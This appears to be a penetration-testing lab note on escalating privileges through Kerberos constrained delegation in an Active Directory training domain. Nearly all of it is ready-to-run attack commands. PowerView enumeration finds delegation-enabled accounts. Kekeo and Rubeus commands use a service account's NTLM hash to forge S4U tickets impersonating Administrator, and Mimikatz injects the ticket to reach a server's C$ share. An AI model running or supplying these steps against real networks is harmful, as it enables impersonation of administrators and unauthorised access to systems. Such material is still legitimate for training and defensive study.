Priv Esc - Constrained Delegation
Constrained Delegation For Users
#General/Basic or Unconstrained Delegation which allows the first hop server
#web server in our example) to request access to any service on any computer in
#the domain.
import-module .\PowerView_dev.ps1
#The service account must have the TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION – T2A4D UserAccountControl attribute
#Enumerate users and computers with constrained delegation enabled
Get-DomainUser –TrustedToAuth
Get-DomainComputer –TrustedToAuth
#Enumerate users and computers with constrained delegation enabled
Get-DomainUser –TrustedToAuth
Get-DomainComputer –TrustedToAuth
#open powershell as normal user
cd .\kekeo
cd .\x64
#Get the TGT for websvc
tgt::ask /user:websvc /domain:dollarcorp.moneycorp.local /rc4:cc098f204c5887eaa8253e7c2749156f
#Request the TGT for websvc
we are impersonating websvc with TGT_websvc to only the cifs/dcorp-mssql
tgs::s4u /tgt:TGT_websvc@DOLLARCORP.MONEYCORP.LOCAL_krbtgt~dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL.kirbi /user:Administrator@dollarcorp.moneycorp.local /service:cifs/dcorp-mssql.dollarcorp.moneycorp.LOCAL
exit
import-module invoke-mimikatz
#Invoke-mimikatz to where the ticket was saved:
#Using mimikatz, inject the ticket:
Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@dollarcorp.moneycorp.local@DOLLARCORP.MONEYCORP.LOCAL_cifs~dcorp-mssql.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL.kirbi"'
klist
as you can see, we now have a ticket with Administrator to dcorp-mssql
#Confirm access. We only have access to the file system. We do not have access to the Enter-PSSession
ls \\dcorp-mssql\c$
#To abuse Constrained delegation using Rubeus,
#we can use the following command (We are requesting a TGT and TGS'
#in a single command):
.\Rubeus.exe s4u /user:websvc /rc4:cc098f204c5887eaa8253e7c2749156f /impersonateuser:Administrator /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.LOCAL" /ptt
#Confirm access. We only have access to the file system. We do not have access to the Enter-PSSession
ls \\dcorp-mssql.dollarcorp.moneycorp.local\c$Constrained Delegation - Server
Last updated